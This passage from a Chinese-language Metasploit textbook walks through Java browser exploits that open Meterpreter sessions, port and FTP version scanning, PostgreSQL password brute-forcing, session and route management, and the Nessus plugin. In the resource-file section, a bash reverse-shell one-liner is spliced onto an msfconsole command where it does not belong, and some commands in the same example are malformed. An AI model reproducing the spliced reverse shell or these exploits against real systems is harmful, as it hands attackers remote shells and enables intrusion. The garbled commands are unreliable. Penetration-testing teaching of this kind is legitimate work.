[*] Scanned 231 of 256 hosts (90% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed




 
以上是实施渗透攻击的过程。从输出的信息中可以看到，扫描到192.168.1.0/24网络中共有3台主机安装了WebDAV，分别是192.168.1.101、192.168.1.103和192.168.1.105，并且这3台主机上的WebDAV功能都是禁用的。
6.4.4　Oracle Java SE远程拒绝服务漏洞（CVE-2012-0507）
 
Oracle Java SE在Java Runtime Environment中存在远程拒绝服务漏洞。攻击者可以利用该漏洞导致应用程序崩溃，拒绝为合法用户提供服务。在JDK 7 Update 2、JDK 6 Update 30和JDK 5.0 Update 33版本中均存在该漏洞。下面介绍利用该漏洞实施渗透攻击的方法。
 
【实例6-24】利用Oracle Java SE远程拒绝服务漏洞实施渗透攻击。具体操作步骤如下：
 
（1）搜索CVE-2012-0507漏洞的完整路径。执行命令如下：
 


msf5 > search CVE-2012-0507

Matching Modules

================

  Name              Disclosure Date        Rank     Check        Description

   -------------    --------------     -------         --------    ----------------

   exploit/multi/browser/java_atomicreferencearray         2012-02-14     excellent        No    Java AtomicReferenceArray Type Violation Vulnerability




 
从输出的信息中可以看到，CVE-2012-0507漏洞的完整路径为multi/browser/java_atomicreferencearray。
 
（2）选择模块，并查看该模块的选项参数。执行命令如下：
 


msf5 > use exploit/multi/browser/java_atomicreferencearray 

msf5 exploit(java_atomicreferencearray) > show options 

Module options (exploit/multi/browser/java_atomicreferencearray):

   Name          Current Setting        Required    Description

   ----        ---------------        -----------     ---------------------------

   SRVHOST    0.0.0.0              yes           The local host to listen on.

                                             This must be an address on the

                                            local machine or 0.0.0.0

   SRVPORT     8080                   yes             The local port to listen on.

   SSL          false                   no           Negotiate SSL for incoming

                                                connections

   SSLCert                          no            Path to a custom SSL certificate

                                                (default is randomly generated)

   URIPATH                            no             The URI to use for this exploit

                                                (default is random)

Exploit target:

   Id  Name

   --  -------------------------------

   0   Generic (Java Payload)




 
用户可以根据自己的环境，配置相关的选项参数。
 
（3）这里使用默认选项参数。接下来启动渗透攻击。执行命令如下：
 


msf5 exploit(java_atomicreferencearray) > exploit 

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.108:4444 

msf5 exploit(java_atomicreferencearray) > [*] Using URL: http://0.0.0.0: 8080/MPDJqsoGJg

[*] Local IP: http://192.168.1.108:8080/MPDJqsoGJg

[*] Server started.




 
看到以上信息，表示已启动渗透攻击。接下来只要在目标主机上访问http://192.168.1.108:8080/MPDJqsoGJg地址，则目标主机将会被攻击。当目标主机被攻击后，将看到以下信息：
 


[*] 192.168.1.109    java_atomicreferencearray - Sending Java AtomicReference- Array Type Violation Vulnerability

[*] 192.168.1.109    java_atomicreferencearray - Generated jar to drop (5125 bytes).

[*] 192.168.1.109    java_atomicreferencearray - Sending jar

[*] 192.168.1.109    java_atomicreferencearray - Sending jar

[*] 192.168.1.109    java_atomicreferencearray - Sending jar

[*] 192.168.1.109    java_atomicreferencearray - Sending jar

[*] Sending stage (45718 bytes) to 192.168.1.109

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.109:1073) at 2017-05-08 18:32:04 +0800




 
从输出的信息中可以看到，目标主机与攻击主机成功建立了一个Meterpreter会话。由此可以说明目标主机已被攻击。
6.4.5　Java零日漏洞（CVE-2012-4681）
 
在Java中，还有一个Java 0day漏洞。该漏洞仅对浏览器的JRE[1.7.X]插件影响非常大，不影响Java 6。攻击者可利用该漏洞进行挂马攻击。在Metasploit中提供了用于利用Java零日漏洞的攻击模块java_jre17_exec，下面利用该漏洞实施渗透攻击。
 
【实例6-25】利用Java零日漏洞实施渗透攻击。具体操作步骤如下：
 
（1）用于利用Java零日漏洞的攻击模块为java_jre17_exec，所以，这里先选择该模块。
 


msf5 > use exploit/multi/browser/java_jre17_exec 

msf5 exploit(java_jre17_exec) >




 
（2）查看模块的配置选项，具体如下：
 


msf5 exploit(java_jre17_exec) > show options 

Module options (exploit/multi/browser/java_jre17_exec):

   Name    Current Setting        Required    Description

   ----    ----------------    --------    ------------------------------

   SRVHOST    0.0.0.0           yes            The local host to listen on. This

                                         must be an address on the local

                                            machine or 0.0.0.0

   SRVPORT    8080                yes           The local port to listen on.

   SSL         false               no             Negotiate SSL for incoming

                                            connections

   SSLCert                       no            Path to a custom SSL certificate

                                            (default is randomly generated)

   URIPATH                        no            The URI to use for this exploit

                                            (default is random)

Exploit target:

   Id  Name

   --  ----------------------------------

   0   Generic (Java Payload)




 
从以上输出信息中可以看到，该模块默认利用的目标Payload为Java的。本例中需设置加载一个Meterpreter攻击载荷，所以重新配置下目标选项。
 
（3）查看可利用的目标并进行设置，具体如下：
 


msf5 exploit(java_jre17_exec) > show targets 

Exploit targets:

   Id  Name

   --  ---------------------------------

   0   Generic (Java Payload)

   1   Windows Universal

   2   Linux x86

msf5 exploit(java_jre17_exec) > set target 1

target => 1




 
由于本例中进行攻击的目标主机系统是Windows，所以这里设置了一个Windows的Payload。接下来，配置该模块的选项参数。
 
（4）加载Payload并配置选项参数，具体如下：
 


msf5 exploit(java_jre17_exec) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf5 exploit(java_jre17_exec) > set LHOST 192.168.1.108

LHOST => 192.168.1.108

msf5 exploit(java_jre17_exec) > set SRVHOST 192.168.1.108

SRVHOST => 192.168.1.108




 
通过以上的操作，对该模块中的选项已配置完成。接下来即可实施渗透攻击。
 
（5）实施渗透攻击，具体如下：
 


msf5 exploit(java_jre17_exec) > exploit 

[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.108:4444 

msf5 exploit(java_jre17_exec) > [*] Using URL: http://192.168.1.108: 8080/b29aD1fsVEpulLg

[*] Server started.




 
从输出的信息中可以看到，已成功发起了攻击。此时，只要目标主机访问http://192.168.1.108:8080/b29aD1fsVEpulLg地址，即可攻击目标。目标攻击成功后，将显示如下信息：
 


[*] Sending stage (957487 bytes) to 192.168.1.109

[*] Meterpreter session 1 opened (192.168.1.108:4444 -> 192.168.1.109:4511) at 2017-05-08 15:42:13 +0800

[*] 192.168.1.109    java_jre17_exec - Java 7 Applet Remote Code Execution handling request

[*] 192.168.1.109    java_jre17_exec - Sending Applet.jar

[*] 192.168.1.109    java_jre17_exec - Sending Applet.jar




 
从输出的信息中可以看到，已成功攻击目标主机，并且还建立了Meterpreter会话。
6.5　通用功能
 
在Metasploit中，提供了一些用于扫描的通用辅助模块，如端口扫描、服务版本及服务弱口令扫描等。这些模块的使用与操作系统无关，所以本节将介绍一些通用的漏洞利用模块。
6.5.1　端口扫描
 
在Metasploit中不仅能够使用第三方扫描器，而且在其辅助模块中也包含了几款内建的端口扫描器。这些内建的扫描器在很多方面与Metasploit框架进行了融合，在辅助进行渗透攻击方面更具有优势。下面介绍使用Metasploit中内建的扫描器模块对目标主机进行端口扫描。
 
【实例6-26】对目标主机进行端口扫描。具体操作步骤如下：
 
（1）搜索Metasploit框架提供的端口扫描工具。执行命令如下：
 


msf5 > search portscan

Matching Modules

================

   Name            Disclosure Date        Rank    Check    Description

   -------        ---------------        ----    -----    -------------------

   auxiliary/scanner/http/wordpress_pingback_access      normal

                                                Yes        Wordpress Pingback Locator

   auxiliary/scanner/natpmp/natpmp_portscan                  normal     Yes  NAT-PMP External Port Scanner

   auxiliary/scanner/portscan/ack          normal      Yes      TCP ACK Firewall Scanner

   auxiliary/scanner/portscan/ftpbounce    normal      Yes      FTP Bounce Port Scanner

   auxiliary/scanner/portscan/syn       normal      Yes      TCP SYN Port Scanner

   auxiliary/scanner/portscan/tcp      normal      Yes      TCP Port Scanner

   auxiliary/scanner/portscan/xmas   normal    Yes       TCP "XMas" Port Scanner

   auxiliary/scanner/sap/sap_router_portscanner        normal     No     SAPRouter Port Scanner




 
从输出的信息中可以看到，共搜索到8个端口扫描模块，用户可以实施TCP ACK防火墙扫描、FTP Bounce端口扫描、TCP SYN端口扫描及TCP端口扫描等。
 
（2）例如，这里实施TCP SYN端口扫描，选择scanner/portscan/syn扫描模块，并查看需要的配置选项参数，具体如下：
 


msf5 > use auxiliary/scanner/portscan/syn 

msf5 auxiliary(syn) > show options 

Module options (auxiliary/scanner/portscan/syn):

   Name    Current Setting    Required    Description

   ----·    -------------    --------    ----------------------------

   BATCHSIZE     256             yes       The number of hosts to scan per set

   DELAY          0               yes      The delay between connections, per

                                     thread, in milliseconds

   INTERFACE                     no        The name of the interface

   JITTER         0               yes       The delay jitter factor (maximum value

                                     by which to +/- DELAY) in milliseconds.

   PORTS             1-10000         yes      Ports to scan (e.g. 22-25,80,110-900)

   RHOSTS                       yes         The target address range or CIDR identifier

   SNAPLEN           65535           yes         The number of bytes to capture

   THREADS           1               yes        The number of concurrent threads

   TIMEOUT           500              yes        The reply read timeout in milliseconds




 
从输出的信息中可以看到，RHOSTS选项参数还没有配置。另外，为了加快扫描速度，也可以重新配置THREADS参数。
 
（3）配置选项参数，执行命令如下：
 


msf5 auxiliary(syn) > set RHOSTS 192.168.1.105

RHOSTS => 192.168.1.105

msf5 auxiliary(syn) > set THREADS 50

THREADS => 50




 
配置完以上选项参数后，即可开始实施扫描。
 
（4）对指定的目标进行端口扫描。执行命令如下：
 


msf5 auxiliary(syn) > run

[*]  TCP OPEN 192.168.1.105:21

[*]  TCP OPEN 192.168.1.105:22

[*]  TCP OPEN 192.168.1.105:111

[*]  TCP OPEN 192.168.1.105:3306

[*]  TCP OPEN 192.168.1.105:8834

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，目标主机上开放的端口有21、22、111、3306和8834。
6.5.2　服务版本扫描
 
为了加快渗透测试的速度，扫描目标主机系统中服务的版本也是非常有必要的。如果用户从第三方或官方网站获取到某版本的服务存在漏洞，这时候可直接使用对应的模块实施渗透攻击。下面介绍在Metasploit下，实施服务版本扫描的方法。
 
在Metasploit中提供了用于扫描服务版本的模块，如ftp_version、ssh_version、http_version等。下面以扫描FTP服务版本为例，演示具体的操作步骤。
 
（1）查找模块的完整路径。执行命令如下：
 


msf5 > search ftp_version

Matching Modules

================

   Name         Disclosure Date         Rank         Check    Description

   -------    ----------------        -----      -----    ---------------------

   auxiliary/scanner/ftp/ftp_version  normal  Yes     FTP Version Scanner




 
（2）使用ftp_version模块并查看该模块的选项参数，执行命令如下：
 


msf5 > use auxiliary/scanner/ftp/ftp_version 

msf5 auxiliary(ftp_version) > show options 

Module options (auxiliary/scanner/ftp/ftp_version):

   Name      Current Setting      Required    Description

   -----      --------------      ---------    -----------------------

   FTPPASS    mozilla@example.com      no       The password for the specified

                                         username

   FTPUSER    anonymous                no      The username to authenticate as

   RHOSTS                             yes     The target address range or CIDR

                                            identifier

   RPORT     21                        yes     The target port (TCP)

   THREADS     1                         yes    The number of concurrent threads




 
（3）配置RHOSTS参数。执行命令如下：
 


msf5 auxiliary(ftp_version) > set RHOSTS 192.168.1.101

RHOSTS => 192.168.1.101




 
（4）实施扫描。执行命令如下：
 


msf5 auxiliary(ftp_version) > run

[*] 192.168.1.101:21 FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
从输出的信息中可以看到，目标主机运行的FTP服务版本为2.3.4。
 
[image: ]提示：其他服务器版本信息的扫描方法和扫描FTP服务版本的方法相同。并且，其他服务版本扫描模块与该服务的位置相同。当用户对其他服务版本实施扫描时，将ftp修改为想要扫描的服务名称即可。
6.5.3　扫描服务弱口令
 
大部分服务安装完成后，都有一个默认的用户名和密码。如果用户忘记修改默认密码，或者设置了弱口令的话，攻击者即可利用服务的弱口令远程登录其服务，进而对目标主机进行控制。在Metasploit中提供了一些用于扫描服务弱口令的模块。下面介绍扫描服务弱口令的方法。
 
【实例6-27】以目标主机（Metasploitable2）中的PostgreSQL数据库服务为例，实施弱口令扫描。具体操作步骤如下：
 
（1）搜索所有有效的PostgreSQL模块。执行命令如下：
 


msf5 > search postgresql

Matching Modules

================

   Name            Disclosure Date     Rank    Check     Description

   -------------    ---------------        ----    -----    --------------

   auxiliary/admin/http/manageengine_pmp_privesc      2014-11-08    normal 

     Yes         ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro

             SQL Injection

   auxiliary/admin/http/rails_devise_pass_reset          2013-01-28 normal

        No         Ruby on Rails Devise Authentication Password Reset

   auxiliary/admin/postgres/postgres_readfile                      normal

      No       PostgreSQL Server Generic Query

   auxiliary/admin/postgres/postgres_sql                              normal

        No       PostgreSQL Server Generic Query

   auxiliary/scanner/postgres/postgres_dbname_flag_injection      normal

        Yes         PostgreSQL Database Name Command Line Flag Injection

   auxiliary/scanner/postgres/postgres_login                       normal

     Yes      PostgreSQL Login Utility

   auxiliary/scanner/postgres/postgres_version                     normal

      Yes         PostgreSQL Version Probe

   auxiliary/server/capture/postgresql                                normal

      No       Authentication Capture: PostgreSQL

   exploit/linux/postgres/postgres_payload             2007-06-05    excellent

        Yes      PostgreSQL for Linux Payload Execution

   exploit/multi/http/manage_engine_dc_pmp_sqli       2014-06-08    excellent

        Yes      ManageEngine Desktop Central / Password Manager LinkView

             FetchServlet.dat SQL Injection

   exploit/multi/postgres/postgres_createlang           2016-01-01    good

       Yes         PostgreSQL CREATE LANGUAGE Execution

   exploit/windows/postgres/postgres_payload         2009-04-10    excellent

       Yes      PostgreSQL for Microsoft Windows Payload Execution

   post/linux/gather/enum_users_history                             normal

      No        Linux Gather User History




 
以上信息显示了PostgreSQL所有相关的模块。其中，用于扫描弱口令的模块为auxiliary/scanner/postgres/postgres_login。
 
（2）使用auxiliary/scanner/postgres/postgres_login模块，并查看该模块的选项参数。执行命令如下：
 


msf5 > use auxiliary/scanner/postgres/postgres_login

msf5 auxiliary(postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name        Current Setting      Required     Description

  -----        ---------------        --------    --------------------------

BLANK_PASSWORDS        false        no            Try blank passwords for all users



BRUTEFORCE_ SPEED    5            yes            How fast to bruteforce, from 0

                                             to 5

DATABASE                template1    yes            The database to authenticate

                                                against

DB_ALL_CREDS            false        no            Try each user/password couple

                                             stored in the current database

DB_ALL_PASS            false        no            Add all passwords in the

                                             current database to the list

DB_ALL_USERS            false        no            Add all users in the current

                                                database to the list 

PASSWORD                            no            A specific password to

                                                authenticate with

PASS_FILE            /usr/share/metasploit-framework/data/wordlists/

                        postgres_default_pass.txt

                                    no            File containing passwords, one

                                                per line

   Proxies                        no            A proxy chain of format type:

                                                host:port[,type:host:port][...]

RETURN_ROWSET         true        no            Set to true to see query result sets

RHOSTS                            yes            The target address range or

                                                CIDR identifier

RPORT                5432        yes            The target port (TCP)

STOP_ON_ SUCCESS        false        yes            Stop guessing when a credential

                                                works for a host

THREADS                1            yes            The number of concurrent threads

USERNAME            postgres        no            A specific username to authenticate as

USERPASS_FILE        /usr/share/metasploit-framework/data/wordlists/

                        postgres_default_userpass.txt

                                    no            File containing (space-seperated)

                                                users and passwords, one pair

                                                per line

USER_AS_PASS    false                no            Try the username as the

                                             password for all users

USER_FILE            /usr/share/metasploit-framework/data/wordlists/

                        postgres_default_user.txt

                                    no            File containing users, one per line

VERBOSE            true            yes            Whether to print output for all

                                                attempts




 
以上信息显示了postgres_login模块中可配置的选项。根据攻击情况，选择相应选项进行配置。
 
（3）配置选项参数。执行命令如下：
 


msf5 auxiliary(postgres_login) > set RHOSTS 192.168.1.101

RHOSTS => 192.168.1.101




 
这里仅配置了一个目标地址参数，其他都使用默认配置。如果用户希望使用自己的用户名和密码文件来实施攻击，则可以重新设置USER_FILE和PASS_FILE选项。
 
（4）实施渗透攻击。执行命令如下：
 


msf5 auxiliary(postgres_login) > exploit 

[!] No active DB -- Credential data will not be saved!

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: :admin@template1 (Incorrect:

Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: postgres:@template1

(Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: postgres:tiger@template1

(Incorrect: Invalid username or password)

[+] 192.168.1.101:5432 - LOGIN SUCCESSFUL: postgres:postgres@template1

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: admin:admin@template1

(Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: admin:admin@template1

(Incorrect: Invalid username or password)

[-] 192.168.1.101:5432 POSTGRES - LOGIN FAILED: admin:password@template1

(Incorrect: Invalid username or password)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed




 
以上输出的信息是渗透攻击PostgreSQL数据库弱口令的一个过程。可以看到，通过渗透攻击，成功破解出了PostgreSQL数据库服务的用户名和密码，并且用户名和密码都为Postgres。
 
[image: ]提示：可以使用以上的方法，扫描其他服务的弱口令。
第7章　辅助功能
 
Metasploit框架不仅提供了大量的模块，而且还提供了一些具有辅助功能的命令，如连接主机、批处理、使用路由及会话管理等。本章将介绍这些辅助功能的实现方法。
7.1　连接主机
 
在MSF终端提供了一个connect命令，通过指定一个IP地址和端口号，可以远程连接到目标主机。connect命令的语法格式如下：
 


connect [选项]


 
connect命令支持的选项及含义如下：
 
·-C：对于EOL序列尝试使用CRLF。

·-p<opt>：指定源端口。

·-s<opt>：指定源地址。

·-c<opt>：指定使用的Comm端口。

·-h：显示帮助信息。

·-i<opt>：发送一个文件的内容。

·-p<opt>：列出使用的代理。

·-s：使用SSL连接。

·-u：切换到一个UDP套接字。

·-w<opt>：指定连接超时值。

·-z：仅尝试连接。
 
【实例7-1】远程连接FTP服务器。执行命令如下：
 


msf5 > connect 192.168.195.131 21

[*] Connected to 192.168.195.131:21

220 (vsFTPd 2.3.4)




 
从输出的信息中可以看到，已连接到目标主机的21号端口。接下来，用户使用USER和PASS命令即可登录目标服务器，具体如下：
 


USER ftp

331 Please specify the password.

PASS admin

230 Login successful.




 
从输出的信息中可以看到已经登录成功。如果用户不清楚能执行哪些操作，可以使用help命令查看帮助信息。
 


help

214-The following commands are recognized.

 ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD

 MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR

 RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD

 XPWD XRMD

214 Help OK.




 
从输出的信息中可以看到支持的所有命令。此时可以根据自己的需要进行相应的操作。
7.2　批处理
 
resource命令可以加载一些源代码并运行，也可以用来执行一些批量的脚本。该命令主要是通过加载资源文件，来实现自动化的批处理。资源文件（resource files）是MSF终端内包含一系列自动化命令的脚本文件。这些文件实际上是一个可以在MSF终端中执行的命令列表，列表中的命令将按顺序执行。资源文件可以大大减少测试和开发所需的时间，让用户将包括渗透攻击在内的许多重复性任务变为自动化。本节将介绍通过资源文件实现批处理的方法。
 
resource命令的语法格式如下：
 


resource path1 [path2...]




 
这里演示一个资源文件的简单使用。例如，将version命令保存到version.rc文件中。然后可以通过resource命令来加载该文件。执行命令如下：
 


msf5 > resource version.rc 

[*] Processing version.rc for ERB directives.

resource (version.rc)> version

Framework: 4.16.48-dev

Console  : 4.16.48-dev




 
输出的信息中显示了Metasploit框架和终端的版本。
 
【实例7-2】使用一个新建的名为autoexploit.rc的资源文件，执行一次SMB攻击。具体操作步骤如下：
 
（1）在资源文件中设置攻击目标和攻击载荷等参数。
 


[root@RHEL ~]# echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc

[root@RHEL ~]# echo set RHOST 192.168.1.109 >> autoexploit.rc

[root@RHEL ~]# set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc

[root@RHEL ~]# set LHOST 192.168.1.105 >> autoexploit.rc

[root@RHEL ~]# echo exploit >> autoexploit.rc




 
通过以上几个命令，资源文件就创建成功了。接下来将该资源文件载入到MSF终端。
 
（2）在MSF终端，用户可以使用resource命令载入资源文件；或者在操作系统的命令行环境下使用-r选项将资源文件作为MSF终端的一个参数传递来运行。例如，使用resource命令载入资源文件。执行命令如下：
 


msf5 > resource /root/autoexploit.rc 

[*] Processing /root/autoexploit.rc for ERB directives.

resource (/root/autoexploit.rc)> use exploit/windows/smb/ms08_067_netapi

resource (/root/autoexploit.rc)> set RHOST 192.168.1.109

RHOST => 192.168.1.109

resource (/root/autoexploit.rc)> exploit

[*] Started reverse TCP handler on 192.168.1.105:4444 

[*] 192.168.1.109:445 - Automatically detecting the target...

[*] 192.168.1.109:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional

[*] 192.168.1.109:445 - Selected Target: Windows XP SP0/SP1 Universal

[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...

[*] Sending stage (957999 bytes) to 192.168.1.109

[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.109:1125) at 2017-05-08 17:26:22 +0800




 
从输出的信息中可以看到，载入资源文件后，文件中的命令被逐条地自动执行了。从最后一行信息显示成功攻击了目标主机，并获取到了一个Meterpreter会话。如果想要使用-r选项来载入资源文件的话，则可以执行命令如下：
 


 [root@RHEL bin]# ./msfconsole -r /root/autoexploit.rcbash -c 'bash -i >&/dev/tcp/127.0.0.1/4444 2>&1 0>&1'




7.3　会话管理
 
sessions命令可以列出、进入交互或杀死大量的会话。该会话可以是Shells、Meterpreter会话和VNC等。session命令的语法格式如下：
 


sessions [选项]




 
或
 


sessions [id]




 
session命令支持的选项及含义如下：
 
·-C<opt>：运行一个Meterpreter命令。

·-K：保持所有终端会话。

·-c<opt>：运行一个命令。

·-h：显示帮助信息。

·-i<opt>：进入指定会话ID的交互模式。

·-k<opt>：结束指定会话的ID。

·-l：列出所有活跃会话。

·-q：安静模式。

·-r：重置会话的缓冲。

·-s<opt>：运行一个脚本。

·-t<opt>：设置一个响应超时值，默认是15。

·-u<opt>：升级一个Shell到Meterpreter会话。

·-v：列出会话详细信息。

·-x：显示扩展信息。
 
【实例7-3】查看活跃的会话。执行命令如下：
 


msf5 exploit(3proxy) > sessions -l

Active sessions

===============

  Id      Description       Tunnel

  --      -----------      ------

  1       Command shell     192.168.1.101:33191 -> 192.168.1.104:4444




 
从输出的信息中可以看到，有一个活跃的会话。如果要进入该会话交互模式，可以使用-i选项指定会话ID，具体如下：
 


msf5 exploit(3proxy) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > 




 
从显示的信息中可以看到，命令行终端提示符变为meterpreter>。由此说明，已成功进入到会话的交互模式。
7.4　使用路由
 
当用户访问目标主机没有对应的路由时，可以使用route命令来实现。route命令可以为指定的会话添加路由。语法格式如下：
 


route[add/remove] subnet netmask [comm/sid]

route [add/remove] cidr [comm/sid]

route [get]

route [flush]

route[print]




 
以上语法中的子命令含义如下：
 
·add：添加一个路由。

·remove：删除一个路由。del是一个别名。

·flush：删除所有路由。

·get：显示指定目标的路由。

·print：显示所有活动路由。
 
【实例7-4】为ID为1的会话添加路由。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > route add 192.168.0.0 255.255.255.0 1




 
或者：
 


msf5 exploit(ms08_067_netapi) > route add 192.168.0.0/24 1

[*] Route added




 
输出信息中提示路由添加成功。
 
【实例7-5】删除ID为1的会话路由。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > route remove 192.168.0.0/24 1




 
或者：
 


msf5 exploit(ms08_067_netapi) > route del 192.168.0.0 255.255.255.0 1

[*] Route removed




 
从输出的信息中可以看到路由已被删除。
 
【实例7-6】显示路由。执行命令如下：
 


msf5 exploit(ms08_067_netapi) > route get 192.168.0.100

192.168.0.100 routes through: Local




 
从输出的信息中可以看到，地址192.168.0.100是一个本地路由条目。
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附录B　Nessus插件
 
Nessus是一款知名的漏洞扫描工具。Metasploit提供了Nessus插件，可以直接调用Nessus，方便两个工具的衔接。用户在Metasploit中加载该插件后，则可以使用该插件提供的命令来连接Nessus服务器，并以远程方式来实施漏洞扫描。本附录将详细介绍Nessus插件的使用。
B.1　使用Nessus服务器
 
在Metasploit框架中，使用load命令加载Nessus插件后，即可访问Nessus服务器。在使用该服务器之前，需要先连接该服务器。本节介绍Nessus服务器的使用。
B.1.1　连接服务器
 
如果要使用Nessus服务器，则需要先连接到该服务器。用户可以使用常规模式和快速连接两种方式来连接Nessus服务器。下面分别介绍具体的连接方法。
 
1．常规模式
 
常规模式是最常见的登录服务器的方式，通过用户名和密码，并指定服务器地址和端口来登录。其中，用于常规模式连接服务器的语法格式如下：
 


nessus_connect username:password@服务器IP 地址:8834


 
在以上语法中，参数username表示登录Nessus服务器的用户名；password表示登录Nessus服务器用户的密码；“@服务器IP地址：8834”表示指定Nessus服务器的IP地址，8834是Nessus服务默认监听的端口。
 
【实例B-1】使用常规模式连接Nessus服务器。执行命令如下：
 


msf5 > nessus_connect admin:123456@192.168.29.136:8834

[*] Connecting to https://192.168.29.136:8834/ as admin

[*] User admin authenticated successfully.

msf5 >


 
从输出的信息可以看到，成功使用用户admin连接到了Nessus服务器。
 
2．快速连接
 
快速连接的方式就是用户无须再输入用户名、密码及服务器地址等认证信息，即可快速连接到Nessus服务器。这种方式是通过常规模式连接到Nessus服务器后，使用nessus_save命令保存其认证信息。这样，下次直接执行nessus_connect命令就可以连接到服务器了。用户保存认证信息的命令及语法格式如下：
 


nessus_save


 
执行以上命令后，保存当前的登录信息到nessus.yaml文件。用户下次连接Nessus服务器时，直接执行nessus_connect命令即可。
 
【实例B-2】使用快速连接方式连接Nessus服务器。
 
（1）保存当前的登录认证信息。执行命令如下：
 


msf5 > nessus_save 

[+] /root/.msf4/nessus.yaml created.


 
从输出的信息可以看到，成功地将当前的登录信息保存到/root/msf4/nessus.yaml文件中。这样，用户就可以使用快速连接方式来连接Nessus服务器了。
 
（2）重新启动Metasploit框架，并加装Nessus插件。然后，执行nessus_connect命令快速连接到Nessus服务器。执行命令如下：
 


msf5 > nessus_connect 

[*] Connecting to https://192.168.29.136:8834/ as admin

[*] User admin authenticated successfully.


 
看到以上输出信息，表示使用保存的认证快速连接到了Nessus服务器。
B.1.2　退出登录
 
如果用户不想要操作Nessus服务器，可以使用nessus_logut命令退出登录。该命令的语法格式如下：
 


nessus_logout


 
【实例B-3】退出当前登录的用户。执行命令如下：
 


msf5 > nessus_logout 

[+] User account logged out successfully

 


 
看到以上输出信息，则表示成功退出了Nessus服务器。
B.1.3　查看服务器状态
 
用户成功连接到Nessus服务器后，即可查看该服务器的相关状态信息。下面介绍查看服务器状态的相关命令及语法格式。
 
1．显示Nessus服务器信息
 
用户可以使用nessus_server_properties命令查看Nessus服务器信息。该信息包括Nessus服务器的版本、类型、插件集和服务器UUID。用于查看Nessus服务器信息的语法格式如下：
 


nessus_server_properties


 
【实例B-4】查看当前所连接的Nessus服务器信息。执行命令如下：
 


msf5 > nessus_server_properties 

Feed     Type    Nessus Version    Nessus Web Version    Plugin Set    Server UUID

----     ----    --------------    ------------------    -----------    ----------

         Nessus Home    6.12.0     6.12.0 


 
从以上输出信息可以看到，当前的Nessus服务器类型为Nessus Home，使用的是家庭版。其版本为6.12.0。
 
2．检查服务器状态
 
用户还可以查看服务器的状态，以确定该服务是否正在运行。用于检测服务器状态的命令及语法格式如下：
 


nessus_server_status


 
【实例B-5】检测当前Nessus服务器状态。执行命令如下：
 


msf5 > nessus_server_status 

Status      Progress

------      --------

            ready


 
从输出的信息可以看到，当前服务器的状态为ready。
 
3．检查用户是否为管理员
 
如果用户忘记当前登录Nessus服务的用户是否是管理员话，可以使用nessus_admin命令检查。其语法格式如下：
 


nessus_admin


 
【实例B-6】检查当前用户是否为管理员。执行命令如下：
 


msf5 > nessus_admin 

[+] Your Nessus user is an admin



 
从输出的信息可以看到，当前的Nessus用户是一个admin，表示是管理员。
 
4．列出服务器所有配置目录
 
当用户连接到Nessus服务器后，还可以查看该服务器中的所有配置目录。用于列出服务器所有配置目录的命令及语法格式如下：
 


nessus_folder_list


 
【实例B-7】列出服务器所有配置目录。执行命令如下：
 


msf5 > nessus_folder_list

ID          Name           Type

--         ----           ----

2           Trash         trash

3           My Scans      main


 
从输出的信息可以看到，显示了3列信息，分别是ID（目录ID）、Name（目录名称）和Type（目录类型）。从显示的结果可以看到，当前Nessus服务中有两个配置目录，分别是Trash和My Scans。其中，Trash是一个回收站目录；My Scans是一个主配置目录。
 
5．列出所有扫描器
 
用户还可以查看Nessus服务器中的所有扫描器。用户查看扫描器的命令及语法格式如下：
 


nessus_scanner_list


B.2　使用策略模版
 
所有的扫描任务都是基于特定的策略模板创建的。所以，用户必须先了解服务器现有的扫描策略模板。本节介绍策略模板的使用。
B.2.1　查看策略模版
 
如果要使用策略模板，必须知道当前服务器中有哪些策略模板。此时，用户可以使用nessus_template_list和nessus_policy_list命令查看策略模板。下面分别介绍使用这两个命令查看策略模板的方法。
 
1．使用nessus_template_list命令
 
nessus_template_list命令是用来列出扫描模板或策略模板的。该命令的语法格式如下：
 


nessus_template_list <scan>|<policy> -S searchterm


 
以上命令中的参数scan是用来列出扫描模板的；policy是用来列出策略模板的；-S选项用来搜索指定的扫描模板或策略模板。
 
【实例B-8】查看扫描模板。执行命令如下：
 


msf5 > nessus_template_list scan

Name          Title               Description        Subscription Only    Cloud Only

----            -----              -----------        -----------------    ---------

advanced        Advanced Scan    Configure a scan without using any

                             recommendations.                    false 

asv             PCI Quarterly External Scan

